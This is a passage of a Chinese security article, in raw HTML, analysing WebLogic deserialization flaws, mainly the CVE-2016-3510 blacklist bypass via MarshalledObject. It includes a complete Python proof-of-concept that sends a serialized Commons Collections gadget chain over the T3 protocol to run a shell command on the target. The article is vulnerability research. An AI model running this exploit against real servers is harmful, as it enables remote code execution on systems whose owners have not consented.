data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=9548d5e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yqyztVrAeLBE67KtV2VYUbTPrOoZMSJoLgmnaRShEhblHW0xD8r8jicA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 677px;height: 432px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=ce3dac6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yZCWB2MD78B3kPN7ysXqjSyZfzdsblnNZyr1r6tng96skDUUVIEKE0g%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 689px;height: 438px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=eeffbdd9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21y9TRyfRORaPrxKW71nGLdPF4C1vjRdjmYx9FtHVLUovoJpOGJgys5Jw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">从流量特征上看并无太多变化，主要还是weblogic.jms.common.StreamMessageImpl类的出现，而weblogicScaner也是基于response来判断vulnerability：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.8551992225461613" style="width: 599px;height: 516px;" data-type="png" data-w="2058" src="https://wechat2rss.xlab.app/img-proxy/?k=3bc3c336&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yZ8KeU7IoYPq1jSWJ61hVQ8ElwLAC7uxw8qO8JVu6ia1D8ZAXZibHpqiaw%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" data-ratio="0.8551992225461613" style="width: 585px;height: 501px;" data-type="png" data-w="2058" src="https://wechat2rss.xlab.app/img-proxy/?k=24143feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yhE4tJlOHFku9b1Lm7QUCsIkWeYuO77ibA4LoRz2YzHdiaqb3AO2ASAeQ%2F640%3Fwx_fmt%3Dpng"/></p><br/><p><span style="font-weight: bold;font-size: 20px;">CVE-2016-3510</span></p><p>影响范围：</p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 10.3.6.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.2.1.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle WebLogic Server 12.1.2.0</p></li></ul><p><span style="font-weight: bold;font-size: 22px;">漏洞分析：</span></p><p><span style="font-size: 15px;">同样是对补丁黑名单的绕过，这次使用的是<span style="font-size: 15px;background-color: rgb(255, 255, 255);font-weight: bold;">weblogic.corba.utils.MarshalledObject</span><span style="font-size: 15px;background-color: rgb(255, 255, 255);">这个类：</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">MarshalledObject</span><span class="code-snippet__params">(Object var1)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (var1 == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.hash = <span class="code-snippet__number">13</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream var2 = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        MarshalledObjectOutputStream var3 = <span class="code-snippet__keyword">new</span> MarshalledObjectOutputStream(var2);</span></code><code><span class="code-snippet_outer">        var3.writeObject(var1);</span></code><code><span class="code-snippet_outer">        var3.flush();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.objBytes = var2.toByteArray();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">int</span> var4 = <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span>(<span class="code-snippet__keyword">int</span> var5 = <span class="code-snippet__number">0</span>; var5 &lt; <span class="code-snippet__keyword">this</span>.objBytes.length; ++var5) {</span></code><code><span class="code-snippet_outer">            var4 = <span class="code-snippet__number">31</span> * var4 + <span class="code-snippet__keyword">this</span>.objBytes[var5];</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">this</span>.hash = var4;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> Object <span class="code-snippet__title">readResolve</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> IOException, ClassNotFoundException, ObjectStreamException </span>{</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.objBytes == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">null</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        ByteArrayInputStream var1 = <span class="code-snippet__keyword">new</span> ByteArrayInputStream(<span class="code-snippet__keyword">this</span>.objBytes);</span></code><code><span class="code-snippet_outer">        ObjectInputStream var2 = <span class="code-snippet__keyword">new</span> ObjectInputStream(var1);</span></code><code><span class="code-snippet_outer">        Object var3 = var2.readObject();</span></code><code><span class="code-snippet_outer">        var2.close();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var3;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="font-size: 15px;"><span style="font-size: 15px;background-color: rgb(255, 255, 255);">MarshalledObject并未重写</span>readObject方法或实现readExternal方法，使用原生的<span style="font-size: 15px;background-color: rgb(255, 255, 255);">ObjectInputStream方法实现反序列化。</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">weblogic.corba.utils.MarshalledObject marshalledObject = <span class="code-snippet__keyword">new</span> MarshalledObject(payload_here);</span></code></pre></section><p><span style="font-size: 15px;">直接用<span style="font-size: 15px;background-color: rgb(255, 255, 255);">MarshalledObject的构造方法生成对象，封装反序列化流：</span></span></p><p><img class="rich_pages wxw-img" data-ratio="0.6341463414634146" style="width: 2952px;height: 1872px;" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=80bb60a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yOeYjiaaAzUqWKnhNrvnxpPPPiaDKvWHpd6o485n13qCvgd9fLp9k73HA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">还是使用上文中的poc脚本：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> binascii</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> socket</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> struct</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> subprocess</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> time</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> multiprocessing.managers <span class="code-snippet__keyword">import</span> SyncManager</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> typing <span class="code-snippet__keyword">import</span> Any, Dict, List, Mapping, Tuple, Union</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> stars <span class="code-snippet__keyword">import</span> target_type, Star</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">light_up</span><span class="code-snippet__params">( dip, dport, force_ssl=None, delay=<span class="code-snippet__number">1</span>, timeout=<span class="code-snippet__number">5</span>, *args, **kwargs)</span> -&gt; (bool, dict):</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># T3协议握手</span></span></code><code><span class="code-snippet_outer">        dport = int(dport)</span></code><code><span class="code-snippet_outer">        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span></code><code><span class="code-snippet_outer">        sock.settimeout(timeout)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:</span></code><code><span class="code-snippet_outer">            sock.connect((dip, dport))</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span> socket.timeout:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">False</span>, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;connection timeout.&#39;</span>}</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span> ConnectionRefusedError:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">False</span>, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;connection refuse.&#39;</span>}</span></code><code><span class="code-snippet_outer">        sock.send(bytes.fromhex(</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a&#39;</span>))</span></code><code><span class="code-snippet_outer">        time.sleep(delay)</span></code><code><span class="code-snippet_outer">        sock.recv(<span class="code-snippet__number">1024</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># 构造T3协议头</span></span></code><code><span class="code-snippet_outer">        data1 = <span class="code-snippet__string">&#39;000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371&#39;</span></span></code><code><span class="code-snippet_outer">        data2 = <span class="code-snippet__string">&#39;007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07&#39;</span>.format(</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__string">&#39;{:04x}&#39;</span>.format(dport))</span></code><code><span class="code-snippet_outer">        data3 = <span class="code-snippet__string">&#39;1a7727000d3234322e323134&#39;</span></span></code><code><span class="code-snippet_outer">        data4 = <span class="code-snippet__string">&#39;2e312e32353461863d1d0000000078&#39;</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> d <span class="code-snippet__keyword">in</span> [data1, data2, data3, data4]:</span></code><code><span class="code-snippet_outer">            sock.send(bytes.fromhex(d))</span></code><code><span class="code-snippet_outer">        payload = <span class="code-snippet__string">&#39;056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000&#39;</span></span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># -------- 经MarshalledObject封装的反序列化利用链payload --------</span></span></code><code><span class="code-snippet_outer">        payload += <span class="code-snippet__string">&#39;aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000004002820000000000000010000054caced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a6176612e6c616e672e53747a0000015972696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e00167571007e001b00000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400092f62696e2f626173687400022d63740013746f756368202f746d702f7375636365737333740004657865637571007e001e000000017671007e002f737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78&#39;</span></span></code><code><span class="code-snippet_outer">        </span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment"># ------------------------------------------------------</span></span></code><code><span class="code-snippet_outer">        payload += <span class="code-snippet__string">&#39;fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff&#39;</span></span></code><code><span class="code-snippet_outer">        payload = <span class="code-snippet__string">&#39;%s%s&#39;</span> % (<span class="code-snippet__string">&#39;{:08x}&#39;</span>.format(len(payload) // <span class="code-snippet__number">2</span> + <span class="code-snippet__number">4</span>), payload)</span></code><code><span class="code-snippet_outer">        sock.send(bytes.fromhex(payload))</span></code><code><span class="code-snippet_outer">        time.sleep(delay)</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span>:</span></code><code><span class="code-snippet_outer">            res = sock.recv(<span class="code-snippet__number">4096</span>)</span></code><code><span class="code-snippet_outer">            print(res)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">b&#39;org.apache.commons.collections.functors.InvokerTransformer&#39;</span> <span class="code-snippet__keyword">in</span> res, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;finish.&#39;</span>}</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">except</span> socket.timeout:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">False</span>, {<span class="code-snippet__string">&#39;msg&#39;</span>: <span class="code-snippet__string">&#39;connection timeout.&#39;</span>}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#34;__main__&#34;</span>:</span></code><code><span class="code-snippet_outer">    ip = <span class="code-snippet__string">&#34;127.0.0.1&#34;</span></span></code><code><span class="code-snippet_outer">    port = <span class="code-snippet__number">7001</span></span></code><code><span class="code-snippet_outer">    light_up(dip=ip,dport=port)</span></code></pre></section></article><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1447721179624665" data-s="300,640" style="" data-type="png" data-w="1492" src="https://wechat2rss.xlab.app/img-proxy/?k=0e47946b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21ybaH4ZqsTqd7jVssUCvicBianWal326jiaeicmgK8QNYCe4KiarkMNXBfrzw%2F640%3Fwx_fmt%3Dpng"/></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kB90-1673490914896&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9etu-1673490914894&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oFyQ-1673490306271&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWH1-1673490306270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NqCj-1673490309103&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ipCq-1673490309101&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;环境搭建&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1TMC-1673490962449&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Kyq5-1673490962448&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;搭建环境参考：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AY3t-1673491068908&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oYuE-1673491068907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;k0LB-1673491048381&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;B6nn-1673491048382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/QAX-A-Team/WeblogicEnvironment&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xAWq-1673491048394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MN0h-1673491025538&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e0Ks-1673491025537&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0ec7-1673491193208&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4894/WEBRESOURCEf4e134824542b9848635f4816e821f7e&#34;,&#34;width&#34;:535,&#34;height&#34;:251},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;64Fk-1673491074875&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TyTf-1673491074874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle官网即可下载：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;31K6-1673491372095&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Efh2-1673491372094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;G4Lb-1673491398542&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tuui-1673491398541&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/java/technologies/downloads/archive/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;21j4-1673491398543&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1Qb-1673491377746&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lWtN-1673491377744&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Gdxb-1673491405351&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yUOm-1673491405350&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id